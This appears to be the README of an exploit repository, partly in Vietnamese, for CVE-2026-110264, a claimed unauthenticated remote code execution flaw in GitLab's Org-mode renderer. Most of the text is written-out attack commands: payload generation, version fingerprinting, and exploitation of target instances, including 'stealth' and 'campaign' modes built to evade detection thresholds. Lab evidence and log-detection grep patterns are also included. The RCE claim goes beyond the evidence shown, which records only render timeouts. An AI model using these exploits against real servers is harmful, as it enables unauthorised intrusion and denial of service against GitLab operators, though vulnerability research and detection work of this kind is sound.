
PoC, reproducible lab, live evidence, Nuclei fingerprint template, and technical report for CVE-2026-110264, an unauthenticated GitLab Org-mode/Onigmo regex integer-overflow RCE.
A complete PoC for the unauthenticated remote code execution vulnerability in all
GitLab CE/EE from 7.0 (2014) up to before the patch of 21/10/2026, via an integer overflow in
the regexp compiler (Ruby's Onigmo) when rendering the file .org.
reports/CVE-2026-110264.mdreports/lab-evidence-19.3.1.mdlab/repro.rblab/docker-compose.gitlab.yml + lab/provision_lab.py + evidence JSONs#+TODO: line in the file .org
(lib/org-ruby/parser.rb escapes once during validation, but
lib/org-ruby/headline.rb:100 instead Regexp.new("^#{keyword}\\s*") with the
raw string — CWE-94).system() with
the OS user privileges git. No login required, only 1 Public project containing
the file .org (or force the Org renderer via the file_path parameter in the preview API).gitlab-markup 2.2.0.
The patch is included in 18.11.13, 19.0.10, 19.1.9, 19.2.9, 19.3.6, 19.4.3, 19.5.1.poc.py PoC chính (chỉ dùng stdlib): check | payload | exploit | selftest
lab/repro.rb renderer mini giống GitLab OtherMarkup (Timeout + org-ruby)
lab/verify.sh script kiểm chứng end-to-end (8 checks, không cần GitLab)
lab/provision_lab.py provision lab GitLab (tạo project public + upload payload)
lab/evidence_m1_20000.json evidence poc.py --verify vs lab 19.3.1 (m1.org, VULN)
lab/evidence_p0_35000.json evidence poc.py --verify vs lab 19.3.1 (p0.org, VULN)
lab/Dockerfile.ruby image repro nhẹ (ruby + org-ruby 0.9.12)
lab/docker-compose.gitlab.yml lab GitLab CE vulnerable đầy đủ (đã kiểm chứng với 19.3.1)
nuclei/cve-2026-110264-gitlab-version.yaml template Nuclei fingerprint version (safe)
reports/CVE-2026-110264.md báo cáo lỗ hổng chi tiết
reports/lab-evidence-19.3.1.md evidence live-lab (client oracle + server Timeout::Error)
selftest end-to-end: gem install org-ruby -v 0.9.12 (+ ruby).# 0. Tự kiểm chứng root-cause, không cần GitLab
python3 poc.py selftest
ruby lab/repro.rb --generate 35000 p0.org
ruby lab/repro.rb p0.org --budget 8 # expect: Timeout::Error (vulnerable)
# 1. Sinh payload (mặc định 35000 repeats = vượt ngưỡng int16 32767)
python3 poc.py payload --repeats 35000 -o p0.org
python3 poc.py payload --stealth -o p0_stealth.org # A*x40000, quiet-match
python3 poc.py payload --single -o p0_single.org # chỉ #+TODO: (mặc định cả 3)
# p0.org ~1.5 MB (3 directives x 385k-char keyword):
# #+TODO: [[:word:]]*[[:word:]]*...
# #+SEQ_TODO: [[:word:]]*...
# #+TYP_TODO: [[:word:]]*...
# * [[:word:]]*[[:word:]]*... hello
# 2. Fingerprint version (unauth; thêm --token nếu có PAT để đọc /api/v4/version)
python3 poc.py check https://gitlab.example
# VULN nếu < fixed của nhánh mình:
# 18.11.13 | 19.0.10 | 19.1.9 | 19.2.9 | 19.3.6 | 19.4.3 | 19.5.1
# 3a. Khai thác qua Blob show (unauth, cần đã commit p0.org vào project Public)
# Web UI -> New file -> upload p0.org lên nhánh main trước
python3 poc.py exploit https://gitlab.example group/pub --ref main --path p0.org
# Differential chắc chắn hơn (control benign + so sánh delta):
python3 poc.py exploit https://gitlab.example group/pub --verify --save evidence.json
# Campaign mode (mimic detection threshold >=5/30m) + stealth:
python3 poc.py exploit https://gitlab.example group/pub --burst 6 --interval 2 --save evidence.json
python3 poc.py exploit https://gitlab.example group/pub --stealth --path p0_stealth.org
# 3b. Khai thác commit-less qua preview (renderer ép bằng file_path, có thể cần cookie)
python3 poc.py exploit https://gitlab.example group/pub --preview --content-file p0.org
python3 poc.py exploit https://gitlab.example group/pub --preview-only \
--content-file p0.org --cookie '_gitlab_session=...'
exploit resultThe rich viewer is the real sink: the HTML blob only returns chrome (no TODO visible, ~38 kB,
no differential); the Org render lives in GET .../blob/main/<file>?format=json&viewer=rich
(gl.startup_calls in the HTML). PoC v2.1+ hits this endpoint directly (the benign control
also goes through the rich sink) — see reports/lab-evidence-19.3.1.md.
| Signal | Meaning |
|---|---|
| Slow render ≥ 10 s | Exceeds the markup Timeout budget → server logs Timeout::Error / OtherMarkup / .org (exceptions_json.log). ≥ 5 times/30 minutes from 1 client = rule org_mode_render_error_burst |
| HTTP 502 | Workhorse badgateway: EOF — Puma worker dies mid-render (RCE runs synchronously in the worker, then the worker crashes; Puma replaces the worker) |
| Fast 200 (< 5 s) | Possibly already patched, wrong path/ref, Private project, or preview blocked by auth |
| 404/302 to sign-in | File does not exist yet or project is not Public |
Server-side correlation (if you have log read access) to confirm:
grep '"exception.class":"Timeout::Error"' /var/log/gitlab/gitlab-rails/exceptions_json.log \
| grep '"extra.class_name":"OtherMarkup"' | grep -E '"extra.file_name":"[^"]*\.org"'
grep -E '502|badgateway' /var/log/gitlab/gitlab-workhorse/current
grep -B1 -A20 '\[BUG\]' /var/log/gitlab/puma/puma_stderr.log \
| grep -E 'org-ruby|headline\.rb|regexp_helper\.rb|match_at|onig_search_gpos|onig_compile|compile_tree|rb_str_sub_bang'
rg -l --glob '**/*.org' '^\#\+(TODO|SEQ_TODO|TYP_TODO):.{500,}' # quét payload phía git
atk-cve-2026-110264 → gitlab-110264-vuln (bridge, unauth; details in
reports/lab-evidence-19.3.1.md):
poc.py check --token: api_version 19.3.1 → [VULN] (< 19.3.6).poc.py exploit --verify: control README rich 0.1–0.2s vs m0.org (20000)
rich 10.2s, p0.org (35000) rich 18.8s → [VULN] differential confirms,
rc=0 + evidence JSON (lab/evidence_*.json).exceptions_json.log logged 4x Timeout::Error / OtherMarkup / m1.org|p0.org, BlobController#show, user.username=null (unauth),
backtrace render_timeout.rb → other_markup.rb → blob_controller.rb:316 show_json — exactly matching the shape of rule org_mode_render_error_burst. puma_stderr.log
no [BUG] (quiet-hit, as predicted: crash is only corroborating).ruby 3.3.12, org-ruby 0.9.12, gitlab-markup 2.1.0.